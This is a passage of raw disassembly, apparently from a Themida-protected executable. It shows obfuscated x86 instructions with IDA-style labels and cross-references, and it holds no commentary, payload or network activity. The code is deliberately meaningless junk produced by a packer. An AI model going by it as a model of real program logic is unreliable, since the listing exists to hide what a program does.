		shr	ebx, 5
		not	ebx
		jmp	loc_5A534B
; ---------------------------------------------------------------------------


loc_599A47:				; CODE XREF: Themida_:00596297j
		add	edx, 2B276BFFh
		add	edx, 1A62CF0Eh
		add	ecx, edx
		pop	edx
		push	ebp
		mov	ebp, 42520981h
		sub	ebp, 26200BB7h
		dec	ebp
		sub	ebp, 1C31FDC7h
		add	ecx, ebp
		pop	ebp
		jmp	loc_5A5250
; ---------------------------------------------------------------------------


loc_599A71:				; CODE XREF: Themida_:005A391Ej
		pop	esi
		and	esi, 7E9A7534h
		sub	esi, 50C558B4h
		mov	edi, esi
		pop	esi
		add	edi, esi
		pop	esi
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59D4D7
; ---------------------------------------------------------------------------


loc_599A9C:				; CODE XREF: Themida_:0059A565j
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59B96C
; ---------------------------------------------------------------------------


loc_599AA9:				; CODE XREF: Themida_:005920CCj
		mov	ecx, 5DB148A8h
		shl	ecx, 8
		jmp	loc_598455
; ---------------------------------------------------------------------------


loc_599AB6:				; CODE XREF: Themida_:00599C53j
		add	esp, 4
		push	ebx
		mov	ebx, 25BB2D34h
		push	eax
		mov	eax, 37284919h
		xchg	eax, edi
		xchg	eax, edi
		not	eax
		jmp	loc_599A27
; ---------------------------------------------------------------------------


loc_599ACE:				; CODE XREF: Themida_:0059C205j
		pop	ebp
		jmp	loc_5902EE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		jmp	loc_5958E4
; ---------------------------------------------------------------------------


loc_599ADC:				; CODE XREF: Themida_:00590640j
		sub	ecx, esi
		push	dword ptr [esp]
		jmp	loc_598FE3
; ---------------------------------------------------------------------------


loc_599AE6:				; CODE XREF: Themida_:00597D0Dj
		dec	ebp
		not	ebp
		jmp	loc_592579
; ---------------------------------------------------------------------------


loc_599AEE:				; CODE XREF: Themida_:0059851Fj
		add	esp, 4
		push	ebx
		mov	ebx, 2D3E3B5Ah
		sub	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5918DD
; ---------------------------------------------------------------------------


loc_599B01:				; CODE XREF: Themida_:00596915j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5981B9
; ---------------------------------------------------------------------------


loc_599B1F:				; CODE XREF: Themida_:005A16A5j
		xor	edi, ebx
		pop	ebx
		add	esi, edi
		pop	edi
		jmp	loc_59A236
; ---------------------------------------------------------------------------


loc_599B2A:				; CODE XREF: Themida_:00598FBCj
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_592D93
; ---------------------------------------------------------------------------


loc_599B3F:				; CODE XREF: Themida_:0059D979j
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 4
		push	ecx
		mov	ecx, 4C837031h
		shr	ecx, 2
		shl	ecx, 8
		dec	ecx
		or	ecx, 879059Ah
		shl	ecx, 8
		sub	ecx, 86B4915Ah
		jmp	loc_593F53
; ---------------------------------------------------------------------------


loc_599B6A:				; CODE XREF: Themida_:005A29D4j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 1A9B432Bh
		mov	ebx, 77AE08D5h
		dec	ebx
		xor	ebx, 7C103714h
		jmp	loc_59CF81
; ---------------------------------------------------------------------------


loc_599B89:				; CODE XREF: Themida_:0059BA1Cj
		mov	edi, edx
		pop	edx
		push	ecx
		push	eax
		mov	eax, 1FDB1BC4h
		jmp	loc_5A1F2B
; ---------------------------------------------------------------------------


loc_599B98:				; CODE XREF: Themida_:00590F08j
		xor	esi, eax
		pop	eax
		add	edi, esi
		jmp	loc_59FD23
; ---------------------------------------------------------------------------


loc_599BA2:				; CODE XREF: Themida_:0059C706j
		pop	edi
		pop	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		xchg	esi, edi
		jmp	loc_5A111C
; ---------------------------------------------------------------------------


loc_599BB0:				; CODE XREF: Themida_:0059F0DBj
		mov	esi, 752154B6h
		neg	esi
		sub	esi, 395C7882h
		add	edx, esi
		jmp	loc_5A56D0
; ---------------------------------------------------------------------------


loc_599BC4:				; CODE XREF: Themida_:0059FADAj
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5A36DC
; ---------------------------------------------------------------------------


loc_599BD6:				; CODE XREF: Themida_:005942B9j
		add	edi, ecx
		jmp	loc_5A542B
; ---------------------------------------------------------------------------


loc_599BDD:				; CODE XREF: Themida_:00595393j
		push	ebp
		mov	ebp, 467812C3h
		jmp	loc_5A4675
; ---------------------------------------------------------------------------


loc_599BE8:				; CODE XREF: Themida_:00591F39j
		pop	dword ptr [edi+20h]
		push	ebp
		jmp	loc_59D3F7
; ---------------------------------------------------------------------------


loc_599BF1:				; CODE XREF: Themida_:0059D4D2j
		mov	[esp], ebp
		mov	ebp, 2
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		pop	esi
		jmp	loc_5A24EC
; ---------------------------------------------------------------------------


loc_599C18:				; CODE XREF: Themida_:00591AC8j
		pop	ecx
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 776C4D11h
		jmp	loc_59F87D
; ---------------------------------------------------------------------------


loc_599C34:				; CODE XREF: Themida_:005977E3j
		add	ebp, 9E07FBF6h
		add	ebp, 0C9F0E5FCh
		push	edx
		mov	edx, 30AF5CC6h
		sub	eax, edx
		pop	edx
		add	eax, ebp
		add	eax, 30AF5CC6h
		mov	ebp, [esp]
		jmp	loc_599AB6
; ---------------------------------------------------------------------------


loc_599C58:				; CODE XREF: Themida_:0059A1D3j
		sub	[esp], bh
		mov	bh, [esp]
		add	esp, 4
		push	small 7B11h
		mov	[esp], cx
		jmp	loc_59FC62
; ---------------------------------------------------------------------------


loc_599C6E:				; CODE XREF: Themida_:005A50AFj
		mov	ebx, 4BAE79EBh
		jmp	loc_5A169F
; ---------------------------------------------------------------------------


loc_599C78:				; CODE XREF: Themida_:0059550Bj
		push	28A3h
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		mov	edx, 79B002C4h
		sub	edx, 0FFFFFFFFh
		sub	edx, 1
		add	edx, 864FFD40h
		push	3997h
		mov	[esp], esi
		mov	esi, 1A7036C6h
		xor	esi, 5DB534A6h
		push	ebx
		mov	ebx, 0A1A0E03h
		sub	ebx, 0C3E9A021h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_59AA3B
; ---------------------------------------------------------------------------


loc_599CBE:				; CODE XREF: Themida_:0059F6ADj
		pop	edx
		inc	ebp
		xchg	edx, ebp
		neg	edx
		jmp	loc_5A0059
; ---------------------------------------------------------------------------


loc_599CC9:				; CODE XREF: Themida_:00594C3Aj
		add	esp, 4
		jmp	loc_5A3D96
; ---------------------------------------------------------------------------


loc_599CD4:				; CODE XREF: Themida_:005A2D7Aj
		add	ebp, ebx
		add	ebp, 78BE449Dh
		jmp	loc_59DEFD
; ---------------------------------------------------------------------------


loc_599CE1:				; CODE XREF: Themida_:0059162Dj
		push	6FCAh
		jmp	loc_59F4B8
; ---------------------------------------------------------------------------


loc_599CEB:				; CODE XREF: Themida_:005934C6j
		pop	esp
		movsx	ecx, ax
		jmp	loc_5A29D9
; ---------------------------------------------------------------------------


loc_599CF4:				; CODE XREF: Themida_:00596F68j
		add	esi, edx
		pop	edx
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		jmp	loc_5A2ED5
; ---------------------------------------------------------------------------


loc_599D08:				; CODE XREF: Themida_:0059FC55j
		or	edx, eax
		shl	edx, 1
		push	eax
		push	edi
		mov	edi, 630753B4h
		mov	eax, 293E59A7h
		jmp	loc_590FC6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_599D2D:				; CODE XREF: Themida_:0059798Fj
		pop	esi
		sub	ebx, edx
		jmp	loc_59087A
; ---------------------------------------------------------------------------


loc_599D35:				; CODE XREF: Themida_:005A18E1j
		mov	[esp], edi
		push	esp
		jmp	loc_5914A8
; ---------------------------------------------------------------------------


loc_599D3E:				; CODE XREF: Themida_:00590E22j
		sub	esp, 4
		jmp	loc_59D852
; ---------------------------------------------------------------------------


loc_599D49:				; CODE XREF: Themida_:005913F4j
		push	ebp
		pop	esi
		jmp	loc_5A4955
; ---------------------------------------------------------------------------


loc_599D50:				; CODE XREF: Themida_:0059D951j
		add	edi, 0EF6102F3h
		add	edi, 1
		push	ebx
		push	6E2D06ADh
		pop	ebx
		xor	edi, ebx
		jmp	loc_5A36CC
; ---------------------------------------------------------------------------


loc_599D67:				; CODE XREF: Themida_:005A2412j
		push	esi
		mov	esi, 150E06ADh
		push	esi
		xor	dword ptr [esp], 5DF43FBBh
		pop	edx
		push	edi
		mov	edi, 5DF43FBBh
		jmp	loc_59798C
; ---------------------------------------------------------------------------


loc_599D81:				; CODE XREF: Themida_:005A3C84j
		mov	eax, 1D2705A3h
		not	eax
		dec	eax
		xor	eax, 15258C3h
		sub	eax, 1AAE7771h
		jmp	loc_592604
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_594DD2
; ---------------------------------------------------------------------------


loc_599DB2:				; CODE XREF: Themida_:005996C1j
		sub	edx, 66D171E6h
		pop	eax
		jmp	loc_5987EE
; ---------------------------------------------------------------------------


loc_599DBE:				; CODE XREF: Themida_:00598931j
		shr	ebp, 2
		jmp	loc_596CC8
; ---------------------------------------------------------------------------


loc_599DC6:				; CODE XREF: Themida_:00590784j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		push	eax
		mov	eax, 1A4060DFh
		jmp	loc_5984E1
; ---------------------------------------------------------------------------


loc_599DD9:				; CODE XREF: Themida_:00596791j
		add	ecx, edx
		jmp	loc_59A072
; ---------------------------------------------------------------------------


loc_599DE0:				; CODE XREF: Themida_:005964C9j
		sub	ebx, 0DCDFB102h
		jmp	loc_596857
; ---------------------------------------------------------------------------


loc_599DEB:				; CODE XREF: Themida_:00593CB0j
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5967D6
; ---------------------------------------------------------------------------


loc_599DFD:				; CODE XREF: Themida_:005A33E4j
		add	eax, 4
		jmp	loc_5A2567
; ---------------------------------------------------------------------------


loc_599E07:				; CODE XREF: Themida_:005A1DB0j
		add	ch, 0FEh
		dec	ch
		push	eax
		mov	ah, 4Bh
		xor	ah, 52h
		sub	ah, 69h
		sub	ch, ah
		pop	eax
		and	dl, ch
		jmp	loc_597510
; ---------------------------------------------------------------------------


loc_599E1F:				; CODE XREF: Themida_:005938B0j
		push	dword ptr [esp]
		jmp	loc_5A1E8E
; ---------------------------------------------------------------------------


loc_599E27:				; CODE XREF: Themida_:005994C5j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_592D09
; ---------------------------------------------------------------------------


loc_599E45:				; CODE XREF: Themida_:0059D55Bj
		mov	ecx, 68435AE2h
		push	7119h
		mov	[esp], ecx
		jmp	loc_59F434
; ---------------------------------------------------------------------------


loc_599E57:				; CODE XREF: Themida_:00598F76j
		push	esi
		jmp	loc_59138F
; ---------------------------------------------------------------------------


loc_599E5D:				; CODE XREF: Themida_:005992F3j
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_595843
; ---------------------------------------------------------------------------


loc_599E68:				; CODE XREF: Themida_:0059DE02j
		mov	[esp], ebx
		mov	ebx, 11716E5Ah
		jmp	loc_59D720
; ---------------------------------------------------------------------------


loc_599E75:				; CODE XREF: Themida_:005A0FE2j
		mov	edi, 1AC55E4Dh
		mov	ebx, edi
		jmp	loc_5944BD
; ---------------------------------------------------------------------------


loc_599E81:				; CODE XREF: Themida_:005A14DDj
		mov	eax, [esp]
		jmp	loc_59EF2B
; ---------------------------------------------------------------------------


loc_599E89:				; CODE XREF: Themida_:005A0A1Bj
		mov	[esp], edi
		mov	edi, 5D19FA6Ch
		add	eax, edi
		pop	edi
		and	esi, eax
		pop	eax
		inc	esi
		neg	esi
		add	esi, 907D6D65h
		xor	edx, esi
		pop	esi
		shl	edx, 4
		sub	edx, 0FFFFFFFFh
		push	ebx
		mov	ebx, 97B815FDh
		sub	edx, ebx
		pop	ebx
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_594B7A
; ---------------------------------------------------------------------------


loc_599EBF:				; CODE XREF: Themida_:005A1BC6j
		pop	ebp
		jmp	loc_5A080B
; ---------------------------------------------------------------------------


loc_599EC5:				; CODE XREF: Themida_:005A1A57j
		mov	bh, 18h
		xor	bh, ah
		pop	eax
		mov	ah, bh
		pop	ebx
		or	ah, 77h
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 3Bh
		shl	ch, 4
		jmp	loc_5A3F92
; ---------------------------------------------------------------------------


loc_599EE3:				; CODE XREF: Themida_:00591058j
		pop	edx
		pop	eax
		jmp	loc_593FFC
; ---------------------------------------------------------------------------


loc_599EEA:				; CODE XREF: Themida_:0059D52Ej
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5963C0
; ---------------------------------------------------------------------------


loc_599F01:				; CODE XREF: Themida_:0059B67Aj
		xchg	ebx, [esp]
		jmp	loc_594D15
; ---------------------------------------------------------------------------


loc_599F09:				; CODE XREF: Themida_:005A0E28j
		inc	cl
		push	dx
		mov	dh, 1
		jmp	loc_5A0499
; ---------------------------------------------------------------------------


loc_599F14:				; CODE XREF: Themida_:0059566Fj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5A327A
; ---------------------------------------------------------------------------


loc_599F35:				; CODE XREF: Themida_:005A1F3Aj
		sub	ebp, 28385866h
		mov	edx, [esp]
		add	esp, 4
		push	377h
		mov	[esp], edi
		mov	edi, 4
		add	ebp, 3E4F2562h
		sub	ebp, 1A346EF7h
		add	ebp, edi
		add	ebp, 1A346EF7h
		sub	ebp, 3E4F2562h
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_591594
; ---------------------------------------------------------------------------


loc_599F79:				; CODE XREF: Themida_:005A4CE3j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A05D4
; ---------------------------------------------------------------------------


loc_599F87:				; CODE XREF: Themida_:00595E9Aj
		mov	edi, 4AE74AC6h
		neg	edi
		shr	edi, 2
		and	edi, 4B8443B1h
		or	edi, 6F3D040Bh
		and	edi, 44B663CCh
		sub	edi, 63ADED5h
		add	ebp, edi
		pop	edi
		sub	ebp, esi
		sub	ebp, 3DF92233h
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, ebp
		dec	ecx
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		sub	ebp, 0AD19E706h
		add	eax, 63792808h
		sub	eax, 4E6809ADh
		sub	eax, ebp
		add	eax, 4E6809ADh
		sub	eax, 63792808h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	eax, 5E2854C9h
		add	eax, edx
		push	ecx
		mov	ecx, 5E2854C9h
		sub	eax, 614C136Ah
		sub	eax, ecx
		push	edi
		jmp	loc_59ED14
; ---------------------------------------------------------------------------


loc_59A00A:				; CODE XREF: Themida_:005A0F9Cj
		shr	ecx, 4
		not	ecx
		neg	ecx
		shl	ecx, 8
		xor	ecx, 58BF4F04h
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5945B3
; ---------------------------------------------------------------------------


loc_59A035:				; CODE XREF: Themida_:0059FF3Dj
		add	edx, esi
		sub	edx, 73246ABCh
		push	eax
		mov	eax, 4B872A83h
		add	edx, eax
		jmp	loc_598FB7
; ---------------------------------------------------------------------------


loc_59A04A:				; CODE XREF: Themida_:00594B1Bj
		push	46A9h
		jmp	loc_5923C9
; ---------------------------------------------------------------------------


loc_59A054:				; CODE XREF: Themida_:00591091j
		push	esi
		push	1431h
		jmp	loc_59CE24
; ---------------------------------------------------------------------------


loc_59A05F:				; CODE XREF: Themida_:00595B83j
		mov	ecx, [esp]
		push	edx
		jmp	loc_591690
; ---------------------------------------------------------------------------


loc_59A068:				; CODE XREF: Themida_:005A3A42j
		xchg	edi, [esp]
		pop	esp
		push	edi
		jmp	loc_590D0F
; ---------------------------------------------------------------------------


loc_59A072:				; CODE XREF: Themida_:00599DDBj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	1409h
		mov	[esp], ebx
		push	eax
		mov	eax, 2
		mov	ebx, eax
		jmp	loc_5A3194
; ---------------------------------------------------------------------------


loc_59A096:				; CODE XREF: Themida_:0059DD0Fj
		mov	[esp], ebx
		push	1472h
		push	esp
		jmp	loc_59303C
; ---------------------------------------------------------------------------


loc_59A0A4:				; CODE XREF: Themida_:00594ADDj
		push	eax
		push	ecx
		mov	ecx, 0A75513Ah
		neg	ecx
		inc	ecx
		neg	ecx
		jmp	loc_5A0127
; ---------------------------------------------------------------------------


loc_59A0B5:				; CODE XREF: Themida_:005922B6j
		mov	esi, 0EBFC89CCh
		jmp	loc_5A286F
; ---------------------------------------------------------------------------


loc_59A0BF:				; CODE XREF: Themida_:0059AE0Fj
		mov	ecx, 11716E5Ah
		add	dword ptr [esp+4], 4FE157EDh
		push	esi
		jmp	loc_594EB6
; ---------------------------------------------------------------------------


loc_59A0D2:				; CODE XREF: Themida_:00597FCBj
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	7222h
		mov	[esp], ebx
		jmp	loc_59F1C1
; ---------------------------------------------------------------------------


loc_59A0E7:				; CODE XREF: Themida_:0059433Bj
		sub	esp, 2
		mov	[esp], cx
		push	eax
		mov	ah, 8Dh
		xor	ah, 0F1h
		not	ah
		jmp	loc_59F533
; ---------------------------------------------------------------------------


loc_59A0FB:				; CODE XREF: Themida_:005A0CA4j
		sub	bl, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0CBh
		jmp	loc_5A3BBB
; ---------------------------------------------------------------------------


loc_59A10B:				; CODE XREF: Themida_:00595CB6j
		add	eax, esi
		add	eax, 37C6206Bh
		push	3572h
		mov	[esp], ebx
		jmp	loc_597AC2
; ---------------------------------------------------------------------------


loc_59A11F:				; CODE XREF: Themida_:005A49EEj
		mov	[esp], ecx
		mov	ecx, 2CD950DAh
		jmp	loc_590A03
; ---------------------------------------------------------------------------


loc_59A12C:				; CODE XREF: Themida_:00598416j
		xor	cl, 1Dh
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	al, 62h
		jmp	loc_59761B
; ---------------------------------------------------------------------------

locret_59A140:				; CODE XREF: Themida_:00592B3Fj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59A146:				; CODE XREF: Themida_:0059E492j
		sub	edx, edi
		pop	edi
		shr	edx, 5
		push	ecx
		push	0CFE23E02h
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, 7F4A5B94h
		sub	edx, ecx
		add	edx, 7F4A5B94h
		pop	ecx
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_59660B
; ---------------------------------------------------------------------------


loc_59A174:				; CODE XREF: Themida_:00595BD6j
		add	ecx, edx
		add	ecx, 11BF48E1h
		sub	ecx, 582A5A1Eh
		pop	edx
		add	edi, ecx
		pop	ecx
		jmp	loc_5937E1
; ---------------------------------------------------------------------------


loc_59A18B:				; CODE XREF: Themida_:00592140j
		push	ecx
		push	eax
		push	7F224663h
		pop	eax
		jmp	loc_59525E
; ---------------------------------------------------------------------------


loc_59A198:				; CODE XREF: Themida_:00595E86j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_591501
; ---------------------------------------------------------------------------


loc_59A1A6:				; CODE XREF: Themida_:00593DD2j
		not	edx
		push	ebp
		mov	ebp, 1DB8A022h
		jmp	loc_5913F9
; ---------------------------------------------------------------------------


loc_59A1B3:				; CODE XREF: Themida_:00591AEDj
		push	2C8Bh
		mov	[esp], edi
		jmp	loc_59AD7C
; ---------------------------------------------------------------------------


loc_59A1C0:				; CODE XREF: Themida_:00595FBBj
		xor	edx, [esp]
		xor	[esp], edx
		xchg	eax, edx
		jmp	loc_592595
; ---------------------------------------------------------------------------


loc_59A1CC:				; CODE XREF: Themida_:0059E13Bj
		mov	bh, 92h
		push	0
		jmp	loc_599C58
; ---------------------------------------------------------------------------


loc_59A1D8:				; CODE XREF: Themida_:0059CA4Ej
		push	1Ch
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_59EDA5
; ---------------------------------------------------------------------------


loc_59A1E8:				; CODE XREF: Themida_:005A4929j
		push	eax
		mov	eax, 4F3C2042h
		inc	eax
		jmp	loc_5A02C5
; ---------------------------------------------------------------------------


loc_59A1F4:				; CODE XREF: Themida_:005A3563j
		sub	ebx, 2AA30140h
		add	ebx, 75B62DA8h
		add	ebx, edi
		push	edi
		mov	edi, 75B62DA8h
		sub	ebx, edi
		jmp	loc_59FC38
; ---------------------------------------------------------------------------


loc_59A20F:				; CODE XREF: Themida_:005A5676j
		pop	ebx
		jmp	loc_59C50D
; ---------------------------------------------------------------------------


loc_59A215:				; CODE XREF: Themida_:005A4C69j
		pop	edx
		jmp	loc_5A1265
; ---------------------------------------------------------------------------


loc_59A21B:				; CODE XREF: Themida_:005A4A48j
		sub	esp, 4
		mov	[esp], ecx
		xchg	esi, [esp]
		push	esi
		jmp	loc_59E477
; ---------------------------------------------------------------------------


loc_59A22D:				; CODE XREF: Themida_:0059D38Fj
		pop	esp
		mov	[esp], ecx
		jmp	loc_5A53B4
; ---------------------------------------------------------------------------


loc_59A236:				; CODE XREF: Themida_:00599B25j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_594C52
; ---------------------------------------------------------------------------


loc_59A25F:				; CODE XREF: Themida_:00590B74j
		shr	ecx, 4
		and	ecx, 2C535FC1h
		xor	ecx, 8035E45h
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_59D001
; ---------------------------------------------------------------------------


loc_59A278:				; CODE XREF: Themida_:00597944j
		push	esi
		push	ebx
		jmp	loc_597318
; ---------------------------------------------------------------------------


loc_59A27F:				; CODE XREF: Themida_:005A25EFj
		inc	ebp
		add	ebp, 0EBE59D9Dh
		mov	ebx, ebp
		pop	ebp
		and	ebx, 11206010h
		sub	ebx, 55542218h
		jmp	loc_59BF54
; ---------------------------------------------------------------------------


loc_59A29A:				; CODE XREF: Themida_:005A3DE5j
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 163E2F10h
		shl	edi, 8
		and	edi, 729A28BAh
		jmp	loc_591BA4
; ---------------------------------------------------------------------------


loc_59A2B1:				; CODE XREF: Themida_:00592408j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edi
		sub	dword ptr [esp], 65885E65h
		jmp	loc_591096
; ---------------------------------------------------------------------------


loc_59A2CC:				; CODE XREF: Themida_:00596B50j
		pop	edx
		add	bl, 0DAh
		push	5134h
		mov	[esp], edx
		mov	dh, 0Eh
		add	bl, dh
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_59404B
; ---------------------------------------------------------------------------


loc_59A2F4:				; CODE XREF: Themida_:005A1758j
		sub	ecx, 51615563h
		jmp	loc_59249F
; ---------------------------------------------------------------------------


loc_59A2FF:				; CODE XREF: Themida_:00593F26j
		pop	esp
		push	3679h
		jmp	loc_5A2EBC
; ---------------------------------------------------------------------------


loc_59A30A:				; CODE XREF: Themida_:0059F952j
		push	eax
		mov	eax, 423057EEh
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		sub	[esp], edi
		add	dword ptr [esp], 423057EEh
		pop	edi
		push	ecx
		sub	esp, 4
		jmp	loc_5A44D3
; ---------------------------------------------------------------------------


loc_59A331:				; CODE XREF: Themida_:005A2588j
		mov	edi, 0F55483FCh
		sub	esi, 12347F45h
		add	esi, 6A8D3736h
		jmp	loc_59F765
; ---------------------------------------------------------------------------


loc_59A347:				; CODE XREF: Themida_:00590C5Aj
		mov	ebx, eax
		mov	esi, ebx
		pop	ebx
		pop	eax
		xor	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_5A21F5
; ---------------------------------------------------------------------------


loc_59A364:				; CODE XREF: Themida_:005A30D1j
		mov	eax, 33C71A19h
		or	eax, 64A17AB8h
		sub	eax, 0FFFFFFFFh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 47F10224h
		mov	edx, 5D7E402Bh
		sub	edx, ebp
		jmp	loc_59A770
; ---------------------------------------------------------------------------


loc_59A39D:				; CODE XREF: Themida_:005A49A2j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_592876
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_592F85
; ---------------------------------------------------------------------------


loc_59A3D0:				; CODE XREF: Themida_:00597272j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	edx
		jmp	loc_59A9B7
; ---------------------------------------------------------------------------


loc_59A3E8:				; CODE XREF: Themida_:005A062Cj
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 6FCA4D3Ah
		push	edx
		mov	edx, 77694A7Ch
		dec	edx
		jmp	loc_5A47B2
; ---------------------------------------------------------------------------


loc_59A411:				; CODE XREF: Themida_:005A20C5j
		add	edi, esi
		sub	edi, 1C224536h
		sub	edi, 1617E4h
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_595449
; ---------------------------------------------------------------------------


loc_59A42B:				; CODE XREF: Themida_:0059D085j
		mov	[esp], esi
		mov	esi, 394C26CAh
		not	esi
		dec	esi
		xor	esi, 3C04299Bh
		xor	esi, 9447F99h
		add	esi, 395B7413h
		xor	esi, 1957422Fh
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, 181629D5h
		jmp	loc_593AC1
; ---------------------------------------------------------------------------


loc_59A464:				; CODE XREF: Themida_:005A2124j
		mov	ch, al
		push	edx
		mov	dl, ch
		mov	bh, dl
		pop	edx
		pop	ecx
		jmp	loc_5A2902
; ---------------------------------------------------------------------------


loc_59A472:				; CODE XREF: Themida_:005A0054j
		sub	eax, 0FE7CFD7Ch
		jmp	loc_5A3A23
; ---------------------------------------------------------------------------


loc_59A47C:				; CODE XREF: Themida_:005A05C9j
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, 383F41B4h
		jmp	loc_5981F6
; ---------------------------------------------------------------------------


loc_59A492:				; CODE XREF: Themida_:0059D2F4j
		push	19A0h
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		push	1DB4h
		jmp	loc_59E140
; ---------------------------------------------------------------------------


loc_59A4C2:				; CODE XREF: Themida_:0059CC0Cj
		pop	edx
		jmp	loc_59CE55
; ---------------------------------------------------------------------------


loc_59A4C8:				; CODE XREF: Themida_:0059E074j
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_594320
; ---------------------------------------------------------------------------


loc_59A4DB:				; CODE XREF: Themida_:005A2F87j
		pop	edx
		xor	al, ch
		jmp	loc_599607
; ---------------------------------------------------------------------------


loc_59A4E3:				; CODE XREF: Themida_:005A4318j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		sub	ebx, 69041A68h
		jmp	loc_5937CE
; ---------------------------------------------------------------------------


loc_59A4FD:				; CODE XREF: Themida_:00592EA5j
		add	esp, 4
		add	edx, 0BD0EA737h
		push	16D8h
